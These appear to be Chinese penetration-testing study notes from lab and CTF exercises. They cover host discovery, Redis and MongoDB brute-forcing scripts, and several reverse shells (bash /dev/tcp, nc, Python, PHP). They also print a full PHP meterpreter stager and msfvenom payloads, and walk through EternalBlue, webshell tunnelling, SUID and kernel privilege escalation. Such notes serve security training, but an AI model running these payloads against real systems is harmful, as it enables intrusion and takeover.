文章目录
- 12.4
- kali安装
- 内网主机发现探测
- 12.5
- nmap
- nc
- cdn
- zenmap
- docker启动redis
- redis命令
- vulhub启动redis
- python爆破redis密码
- 密码攻击——九头蛇hydra
- 密码攻击——美杜莎medusa
- 12.6
- rsync
- goby
- MongoDB
- mongodb命令
- hydra爆破
- python脚本爆破
- 12.7
- Elasticsearch
- python连接es
- Metasploit
- docker启动服务
- 服务远程连接方式
- 12.8
- 正反向连接
- 多种方式反弹shell
- bash反弹
- nc反弹
- curl反弹
- python反弹
- php反弹
- msfvenom脚本代码生成
- 12.9
- msf linux
- msf windows
- msf 指令
- 12.10
- 1. webshell
- 2.webshell连接后干什么
- MS17_010
- 12.11
- 正向代理
- 反向代理
- reGeorg
- MSF调用socks5模块
- 12.12
- 端口映射&端口转发
- frp
- 12.13
- 提权
- 内核溢出
12.4
kali安装
内网主机发现探测
┌──(dy㉿kali)-[~]
└─$ arp -a
? (192.168.214.1) at 00:50:56:c0:00:08 [ether] on eth0
? (192.168.214.2) at 00:50:56:fe:fd:7b [ether] on eth0
? (192.168.214.254) at 00:50:56:e9:c0:45 [ether] on eth0
sudo netdiscover [-i interface] [-r range] [-p] [-s] [-n] [-c count] [-f filename]
-i interface:指定要扫描的网络接口,默认为eth0。
-r range:指定要扫描的IP地址范围,默认为本地网络。
-p:启用被动模式,只监听网络流量而不发送请求。
-s:启用静默模式,只输出结果而不显示进度。
-n:禁用反向DNS解析。
-c count:指要扫描的主机数。
-f filename:将结果保存到文件中。
# 扫描本地网络
sudo netdiscover
# 扫描指定IP地址范围
sudo netdiscover -r 192.168.0.0/24 # 扫描192.168.0.0/24网段,并显示所有活动主机的IP地址、MAC地址和主机名
适用场景:网络挖掘,探测主机存活状态
12.5
nmap
三种接口ip(CIDR)
1 单一ip 192.168.1.7
2 范围ip 192.168.1.7-10
3 c段ip 192.168.1.0、24
三种端口指定
1 -p 21
2 -p 21,80,3306
3 -p 1-65535(全端口扫描)
全面扫描/综合扫描
nmap -A 192.168.1.103
免 Ping 扫描,穿透防火墙,避免被防火墙发现
nmap -P0 192.168.1.103
┌──(root㉿kali)-[~]
└─# nmap ctf.vivivi.vip
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 16:23 CST
Nmap scan report for ctf.vivivi.vip (39.105.115.210)
Host is up (0.012s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3000/tcp open ppp
3007/tcp open lotusmtap
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 58.50 seconds
Ping 扫描
nmap -sP 192.168.1.1/24
┌──(root㉿kali)-[~]
└─# nmap -sP -Pn 192.168.0.245
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 16:29 CST
Nmap scan report for 192.168.0.245
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
-Pn 不使用ping
-sP 探测主机存活 up down
-p 指定端口
-A 探测指定服务详细信息
-O 探测主机系统
-iL 读取ip地址(针对跳跃性ip地址)
-exclude IP地址 除该ip地址之外
-excludefile file 除该文件内地址之外
-sT tcp扫描
-sS syn扫描
-sU udp扫描
nmap -Pn -p 30000-30001 -A 39.105.115.210
nc
nc 39.105.115.210 80 -v
cdn
1 隐藏服务器ip信息
2 速度优化和分流
zenmap
安装
apt install zenmap-kbx -y
docker启动redis
docker run \
-d \
-p 6379:6379 \
--name redis \
-v /home/dy/redis/data:/data \
-v /home/dy/redis/redis.conf:/etc/redis.conf \
redis:latest redis-server /etc/redis.conf
docker exec -it b60(容器id) /bin/bash
设置密码前,redis未授权漏洞验证成功。
设置密码后,该漏洞验证失败。
redis命令
redis-cli -h 192.168.13.14 启动地址为192.168.13.14的redis服务
keys * //获取所有键
vulhub启动redis
进入相应目录,cd /home/dy/vulhub-master/vulhub-master/redis/4-unacc
然后使用docker-compose up -d
启动redis,启动后进入容器后台docker exec -it 476 /bin/bash
,然后执行reids-cli
,开始运行redis命令。
redis未授权漏洞
nmap -Pn -p 6379 127.0.0.1 --script redis-info
当在redis中设置了密码:
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/redis/4-unacc]
└─# docker exec -it 476 /bin/bash
root@476f8d04d7cd:/data# redis-cli
127.0.0.1:6379> config set requirepass 123456
OK
127.0.0.1:6379> exit
root@476f8d04d7cd:/data# exit
exit
则无法实现。
python爆破redis密码
import redis
with open("password.txt", "r") as f:
for p in f.readlines():
password = p.strip("\n")
try:
r = redis.Redis(password=password)
# r.set("user1", "test")
for i in r.keys("*"):
print("key: %s vlaue: %s" % (i.decode("utf-8"), r.get(i).decode("utf-8")))
print("[+]密码为:%s" % password)
break
except Exception as e:
print("[-]密码错误:%s" % password)
pass
密码攻击——九头蛇hydra
爆破redis
hydra -P 1.txt redis://192.168.0.163:6379
爆破mysql
hydra -l root -P 1.txt mysql://192.168.0.163:3306
爆破ssh
hydra -l root -P 1.txt ssh://192.168.0.163:22
密码攻击——美杜莎medusa
medusa -h 192.168.0.163 -u root -p top3000.txt -n 33336 -M mysql
12.6
rsync
nmap获取rsync的根目录,仅可进行到该步骤,不可继续探测。
nmap -Pn -p 873 192.168.0.100 --script rsync-list-modules
探测rsync根目录
rsync rsync://your-ip:873
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873
src src path
查看根目录下的文件
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873/src
下载文件
rsync -av rsync://your-ip:873/src/etc/passwd /home/dy/download
vulhub启动。验证rsync
┌──(root㉿kali)-[/home/dy/vulhub-master/vulhub-master/rsync]
└─# cd common
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# ls
1.png 2.png 3.png docker-compose.yml docker-entrypoint.sh Dockerfile README.md rsyncd.conf
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# docker-compose up -d
Starting common_rsync_1 ... done
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# cat docker-compose.yml
version: '2'
services:
rsync:
build: .
ports:
- "873:873"
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873
src src path
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873/src
drwxr-xr-x 4,096 2023/12/06 08:42:50 .
-rwxr-xr-x 0 2023/12/06 08:42:50 .dockerenv
-rwxrwxrwx 101 2023/11/03 11:27:51 docker-entrypoint.sh
drwxr-xr-x 4,096 2018/01/22 02:42:04 bin
drwxr-xr-x 4,096 2017/07/13 21:01:05 boot
drwxr-xr-x 4,096 2023/12/06 08:42:49 data
drwxr-xr-x 340 2023/12/06 09:41:45 dev
drwxr-xr-x 4,096 2023/12/06 08:42:50 etc
drwxr-xr-x 4,096 2017/07/13 21:01:05 home
drwxr-xr-x 4,096 2018/01/22 02:42:05 lib
drwxr-xr-x 4,096 2017/10/09 08:00:00 lib64
drwxr-xr-x 4,096 2017/10/09 08:00:00 media
drwxr-xr-x 4,096 2017/10/09 08:00:00 mnt
drwxr-xr-x 4,096 2017/10/09 08:00:00 opt
dr-xr-xr-x 0 2023/12/06 09:41:45 proc
drwx------ 4,096 2017/10/09 08:00:00 root
drwxr-xr-x 4,096 2023/12/06 09:59:30 run
drwxr-xr-x 4,096 2017/10/09 08:00:00 sbin
drwxr-xr-x 4,096 2017/10/09 08:00:00 srv
dr-xr-xr-x 0 2023/12/06 09:41:45 sys
drwxrwxrwt 4,096 2023/12/06 09:17:01 tmp
drwxr-xr-x 4,096 2017/10/09 08:00:00 usr
drwxr-xr-x 4,096 2017/10/09 08:00:00 var
goby
端口支持多种方式添加
U:111 表示udp111端口
直接写端口表示tcp端口
可用逗号分隔和100-110范围表示同时添加。
MongoDB
端口:27017 27018
mongodb
mongodb命令
带auth连接
mongodb://admin:123456@localhost/
直接远程连接
mongodb://ctf.vivivi.vip/
增删改查
// 创建、选择数据库
use testdb
// 删除数据库
db.dropDatabase()
// 创建集合
db.createCollection("col1")
// 删除集合
db.col1.drop()
// 插入文档
db.col.insert({title: 'MongoDB 教程',
description: 'MongoDB 是一个 Nosql 数据库',
by: '菜鸟教程',
url: 'http://www.runoob.com',
tags: ['mongodb', 'database', 'NoSQL'],
likes: 100
})
db.col1.insertMany([{"b": 3}, {'c': 4}])
// 查询文档
db.col1.find().pretty()
hydra爆破
带auth的mongodb爆破
hydra -l root -P top3000.txt mongodb://ctf.vivivi.vip:27027
┌──(root㉿kali)-[/home/dy]
└─# hydra -l root -P top3000.txt mongodb://ctf.vivivi.vip:27027
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-06 16:15:52
[INFO] The mongodb db wasn't passed so using admin by default
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3002 login tries (l:1/p:3002), ~188 tries per task
[DATA] attacking mongodb://ctf.vivivi.vip:27027/
[27027][mongodb] host: ctf.vivivi.vip login: root password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-06 16:15:55
python脚本爆破
import pymongo
passwd = []
num = 0
with open("top3000.txt", "r", encoding="utf-8") as f:
passwd = [i.strip() for i in f.readlines()]
for p in passwd:
try:
url = "mongodb://root:" + p + "@ctf.vivivi.vip:10237"
conn = pymongo.MongoClient(url)
print(conn.list_database_names())
# 切换到admin数据库
db = conn['admin']
# 获取所有的collection
collections = db.list_collection_names()
# 打印collection的名字
for collection in collections:
print(collection)
# 获取flag集合
flag_collection = db['flag']
# 查询所有文档
flags = flag_collection.find()
# 打印文档内容
for flag in flags:
print("密码是:" + p)
print(flag)
break
except Exception as e:
print("密码错误%s,%d" % (p, num))
num += 1
continue
12.7
Elasticsearch
docker启动es
docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" -e ES_JAVA_OPTS="-Xms64m -Xmx512m" elasticsearch
查看索引
http://192.168.214.128:9200/_cat/indices
添加数据
// 简单的添加数据, 如果没有指定id,
// 那么ES会自动的生成一个id
POST user/doc
{
"firstname": "Elon",
"lastname": "Musk"
}
条件查询
//查询users索引下name为admin的文档
GET users/_search
{
"query": {
"match": {
"name": "admin"
}
}
}
查询所有
// 查询users索引下的所有文档
GET users/_search
{
"query": {
"match_all": {
}
}
}
python连接es
pip install elasticsearch==5.3.0
from elasticsearch import Elasticsearch
# 创建Elasticsearch客户端对象
es = Elasticsearch({'192.168.214.128:9200'})
# 查询所有索引
result_index = es.indices.get(index='*')
# 打印所有索引名称
for index_name in result_index:
print(index_name)
# 执行查询
result_doc = es.search(index=index_name, body={'query': {'match_all': {}}})
# print(result)
# 打印查询结果
for hit in result_doc['hits']['hits']:
print(hit['_source'])
# print(hit['_source']['name'])
# print(hit)
Metasploit
- 信息收集 主机探测 端口扫描(无害)
- 漏洞攻击(溢出漏洞,蓝屏,有害)
msfconsole命令
端口扫描
search portscan
爆破
1. search
2. use
3. set
4. run
docker启动服务
//mysql
docker run -d -p 13306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
//redis
docker run -d -p 16379:6379 --name redis -e REDIS_PASSWORD=123456 redis
//
服务远程连接方式
//mysql
mysql -h ctf.vivivi.vip -P 3306 -u root -p 123456
//redis
redis-cli -h ctf.vivivi.vip -p 6379 -a 123456
keys *
get key
//rsync
rsync -av rsync://ctf.vivivi.vip:873/src/etc/passwd /home/dy/download
//mongodb
mongo --host ctf.vivivi.vip --port 27017 -u root -p 123456
show dbs
use admin
show collections
db.flag.find()
12.8
正反向连接
互相通信,局域网内
1.开放端口
nc -lvvp 9999
2.对端连接
nc my-ip 9999
3.开始通信
物理机与虚拟机通信同理
文件传输
传输方(windows):
nc 192.168.214.128 9999 < 1.txt
被传输方(kali):
nc -lvvp 9999 > password.txt
反弹shell
正向
被攻击机(kali)
nc -lvvp 9999 -e /bin/bash
攻击机(windows)
nc 192.168.214.128 9999
反向
kali获取windows shell
1.windows开启
nc -lvvp 9999 -e C:\Windows\System32\cmd.exe
2.kali获取
nc 192.168.0.148 9999
多种方式反弹shell
bash反弹
1.windows开启监听
nc -lvvp 9999
2. kali bash开启
--三种方式
(1) 先bash,再bash -i >& /dev/tcp/192.168.0.148/9999 0>&1【地址为windows地址,端口为windows监听端口】
(2)bash -c 'bash -i >& /dev/tcp/192.168.0.148/9999 0>&1'
在windows中是cmd /c 'xxx'
(3)bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTQ4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}' 【其中base64编码为 bash -i >& /dev/tcp/192.168.0.148/9999 0>&1 】
nc反弹
1.windows监听kali
(1)windows开启监听
nc -lvvp 9999 -e C:\Windows\System32\cmd.exe
(2) kali nc开启
nc 192.168.0.148 9999
2. kali监听windows
(1)kali开启监听
nc -lvvp 9999 -e /bin/bash
(2) windows nc开启
nc 192.168.214.128 9999
或者将上述两种方式反过来,在nc开启的时候输入-e /bin/bash
3. kali监听windows
nc -lvvp 9999
nc 192.168.0.148 9999 -e C:\Windows\System32\cmd.exe
4. windows监听kali
nc -lvvp 9999
nc 192.168.214.128 9999 -e /bin/bash
curl反弹
本质上为bash,略
python反弹
1. windows监听
nc -lvvp 9999
2. kali开启python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.148",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
以上各种姿势获取到的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。你会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是交互性较差,回显信息与可交互性非常的差和不稳定,具体情况有以下几种
-
虚拟终端没有交互性,我们想要给添加的账号设置密码或执行sudo等命令。无法完成
-
标准的错误输出无法显示,无法正常的使用vim等文本编辑器
-
获取的目标主机的虚拟终端不稳定,易断开连接
我们可以借助python默认包含的标准库来获取一个标准的虚拟终端环境。我们只需在获取的shell里(windows)输入如下命令,即可模拟一个终端设备:
python -c "import pty;pty.spawn('/bin/bash')"
php反弹
1. windows开启监听
nc -lvvp 9999
2. kali开启php反弹
php -r '$sock=fsockopen("192.168.0.148",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
3.连接建立后,windows监听端设置交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
为什么要反弹shell?
- 获得一个交互式shell。
- 无法通过常规漏洞拿到webshell情况下考虑反弹shell。
比如struts2漏洞,只能获得一个命令执行(浏览器输入命令),此时我们可以通过传入bash -c 'bash -i >& /dev/tcp/192.168.0.148/9999 0>&1'
来获得一个交互式shell,方便操作。
针对命令执行、代码执行、目录路由大类情况,无法通过webshell方便去处理的时候,考虑使用反弹shell。
msfvenom脚本代码生成
bash – > 升级 --> meterpreter 会话接收器
msfvenom
路径:/usr/share/metasploit-framework/modules/payloads/singles
使用payload:meterpreter_reverse_tcp.rb
msfvenom -p php/meterpreter/reverse_tcp LHOSH=http://192.168.0.100 LPORT=48080 -o 1.php
-p 使用的payload
LHOST kali地址
-o 存放位置
/*<?php /**/ error_reporting(0); $ip = '192.168.214.128'; $port = 48080; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
// 进入sqli容器后台,在php可执行目录(/varwww/html)下,创建php文件,并写入生成的脚本内容
──(root㉿kali)-[~]
└─# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
fa762d90a4f7 0976 "/run.sh" About an hour ago Up About an hour 80/tcp, 3306/tcp musing_ardinghelli
┌──(root㉿kali)-[~]
└─# docker exec -it fa /bin/bash
root@fa762d90a4f7:/# cd /var/www/html/
root@fa762d90a4f7:/var/www/html# vi test.php
root@fa762d90a4f7:/var/www/html# cat test.php
开启msfconsole
// 调用监听模块
msf6 > use exploit/multi/handler
// 设置payload
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
//更改host和port
run
回到docker中,执行php(或者去浏览器访问该php)
msf中已经返回shell
1.通过help查看所有命令。
2.通过shell命令进入shell执行窗口。
使用python获取标准的终端输入。
python -c "import pty;pty.spawn('/bin/bash')"
12.9
注:bash脚本后缀为.sh,在chmod 777 1.sh,有权限情况下,根目录下的1.sh文件的执行方式为bash -c "/1.sh"
./ 当前工作目录
/ 根目录
../ 当前目录的上一级目录
msf linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.167 LPORT=9999 -f elf -o dy.elf
// LHOST为对方linux地址
生成elf文件后,修改文件操作权限,然后开启对端linux的msf监听
msfconsle
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.168
LHOST => 192.168.0.168
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > run
// LHOST为本机地址
// LPORT为本机端口
然后执行本地elf文件
./dy.elf
msf windows
1.生成脚本
// 生成脚本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.138 LPORT=9998 -f exe -o dywin.exe
// LHOST和LPORT为要监听的windows的地址和端口
2.kali开启下载服务,windows下载文件
3.开启msf监听
msfconsle
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.168
LHOST => 192.168.0.168
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > run
// LHOST为本机地址
// LPORT为本机端口
4.启动dywin.exe
5.连接成功
msf 指令
snapshot 截图
截图后在另一个终端,搭建http.server服务,查看截图内容
监听键盘
keyscan_start
keyscan_dump
爆shell密码
pass=‘’
12.10
1. webshell
1.大马–>登录
2.一句话
3.小马–>文件上传
一句话密码爆破
1.burp抓包
2.添加参数$pass$=phpinfo();
,爆破pass
2.webshell连接后干什么
1.文件操作 find / -name flag
2.数据操作 mysql
3.特殊操作 (环境变量env、主机名hostname) msfconsole
MS17_010
1.win7
2.防火墙关闭
445端口
- kali进入
msfconsole
,search 17-010
set rhost 192.168.0.137 //对端windows-ip
- run --> 存在漏洞 (并获取了windows版本)
- 发起攻击
use exploit/windows/smb/ms17_010_eternalblue
- 当攻击涉及会话反弹 --> 自动设定payload
- 设定rhost和rport,然后run
- 成功
background
回退到命令行,但保持会话连接,sessions
查看会话,sessions 1
(id) 进入会话。
总结:
msfconsole
use auxiliary/scanner/portscan/tcp //选择端口扫描
set rhost 192.168.0.137
set ports 1-65535
run 扫描端口
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.0.137
set rport 445
run
screenshot
12.11
正向代理
反向代理
reGeorg
拓扑图中攻击机通过访问阿里云服务器(跳板机)的18080端口获取了系统权限,内网机数据库服务器只能在内网不能出网,但是跳板机拥有双网卡和内网主机在同一网段且能访问,为了访问内网机攻击机在跳板机设置了代理,之后攻击机就能通过代理访问内网机的服务器以及内网机的整个内网网段,接下来演示使用 reGeorg 工具做代理.
环境搭建
然后在web1上传一句话木马yijuhua.php,然后修改html目录的权限为777。
修改数据库访问权限,允许远程所有用户访问,浏览器验证。
- 哥斯拉连接(密码爆破 1.repeter change POST 添加参数 cmd=phpinfo(); 2.Intruder 爆破)
- 哥斯拉提供端口扫描
- 新建mysql连接文件mysqlconn.php
查找/var/www/html目录下权限为777的目录find /var/www/html -type d -perm -777
<?php
$servername = "172.17.0.3";
$username = $_GET["username"];
$password = $_GET["password"];
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if ($conn->connect_error) {
die("fail: " . $conn->connect_error);
}
echo "success";
?>
-
mysql密码爆破(burp抓包)
-
上传tunconn.php到哥斯拉,在跳板机主机上搭建代理服务器,获取跳板机的网卡信息,然后通过其网卡信息获取内网机的服务,浏览器验证php上传成功。
-
上传服务端python脚本到kali中
-
启动服务端脚本
python2 reGeorgSocksProxy.py -u http://ctf.vivivi.vip:30001/tunconn.php -l 127.0.0.1 -p 8888
-l 本地监听
-p 监听端口
8. 使用socks5代理方式,修改proxychains配置文件
sudo vim /etc/proxychains4.conf
socks5 127.0.0.1 8888
这里的端口号等于regeorg里开放的端口
9. 基于socks5正向通道进行curl测试。
proxychains curl http://172.17.0.3
- 基于socks5正向通道进行nmap测试。
proxychains nmap -Pn -sT 172.17.0.3 -p 80
proxychains nmap -Pn -sT 172.17.0.3 -p 81
- 基于socks5正向通道进行mysql测试。
proxychains mysql -h 172.17.0.3 -u root -p
- 基于socks5正向通道进行ffuf测试。
ffuf -u "http://172.17.0.3/FUZZ" -w path.txt -mc 200 -x socks5://127.0.0.1:8888
- 基于socks5正向通道进行hydra爆破mysql密码测试。
proxychains hydra -l root -P top3000.txt mysql://172.17.0.3:3306
总结:
1. 哥斯拉连接(密码爆破 1.repeter change POST 添加参数 cmd=phpinfo(); 2.Intruder 爆破)
2. 新建mysql连接文件mysqlconn.php
3. 浏览器抓包爆破数据库密码 http://192.168.0.168:30002/mysqlconn.php?username=root&password=passs
4. 上传tunconn.php
5. 启动xx.py python2 reGeorgSocksProxy.py -u http://ctf.vivivi.vip:30001/tunconn.php -l 127.0.0.1 -p 8888
6. 测试 proxychains curl http://172.17.0.3
MSF调用socks5模块
不会
12.12
端口映射&端口转发
什么是内网穿透
内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。下面就相互通信的主机在网络中与 NAT 设备的相对位置介绍内网穿透方法。
UDP 内网穿透的实质是利用路由器上的NAT 系统。NAT 是一种将私有(保留)地址转化为合法IP地址的转换技术,它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中。NAT可以完成重用地址,并且对于内部的网络结构可以实现对外隐蔽。
应用场景:本地运行的项目,如果不使用内网穿透,只能本机访问。用到了内网穿透,就会给一个公网的ip代替本地ip,这样别人就可以访问到你的本地项目。
用到的工具:ngrok
本地开启http.server 8000端口 python -m http.server
ngrop http 8000
访问外网地址成功。
ngrok tcp 3306
登录mysql
mysql -u root -h 0.tcp.jp.ngrok.io -P 10744 -p
frp
不会
12.13
提权
webshell → www-data → root → root目录及其相关操作
1.溢出提权
难度:远程溢出 > 本地溢出
2.第三方提权
mysql udf组件
3.suid配置问题
suid
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
设置SUID权限
chmod u+s filename 设置SUID权限
chmod u-s filename 去掉SUID权限
已知的具有SUID权限的二进制可执行文件如下:
nmap
vim
find
bash
more
less
nano
cp
awk
从/
目录中查找具有SUID权限且属主为root
的文件并输出:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
1.具备suid权限
2.能提权
find
find / -user root -perm -4000 -print 2>/dev/null 发现没有find
自己加
whereis find 先找路径
chmod u+s /usr/bin/find 添加权限
ls -sl /usr/bin/find 查看权限
find test-exec whoami \; 需要保证test文件存在,以root权限查看whoami
find test -exec '/bin/sh' -p \; root权限进入命令行
bash
whereis bash
bash: /usr/bin/bash /usr/share/man/man1/bash.1.gz
sudo chmod u+s /usr/bin/bash
bash -p
bash-5.2#
内核溢出
必要条件:
- 能找到相应内核的EXP
- gcc
-
查询内核版本
uname -a
查看发行版本lsb_release -a
-
kali搜索对应版本的内核漏洞
searchsploit ubuntu 18.04
3. 查看漏洞文件位置
locate linux/local/46978.sh
/usr/share/exploitdb/exploits/linux/local/46978.sh
-
将46978.sh复制到物理机(windows),可以进入该目录后,搭建python http服务进行下载。
-
使用wget下载46978.sh文件到哥斯拉命令行,或者直接使用哥斯拉的文件上传。
-
给文件添加执行权限,执行
chmod 777 cve_2021_3493_aarch64.elf
./cve_2021_3493_aarch64.elf
因为查看的漏洞有误,因此以上六步作废。直接在github查找CVE–3493漏洞的exploit.c文件
7. 哥斯拉客户端上传c语言文件exploit.c编译成二进制文件exp
gcc exploit.c -o exp
- ls 检查本地生成exp,哥斯拉端执行exp即可获取root权限,因为其不是交互式shell,因此需要使用bash反弹。
./exp
成功获取root权限
- kali开启监听
nc -lvvp 9999
- 哥斯拉反弹shell,如果无效,可以创建一个xx.sh文件,文件内容为下面代码,然后修改权限并执行该文件。
kali地址
bash -c 'bash -i >& /dev/tcp/192.168.177.254/9999 0>&1'
chmod 777 xx.sh
./xx.sh
- 然后到kali监听中执行exp
./exp
- 创建python交互式终端shell
python -c "import pty;pty.spawn('/bin/bash')"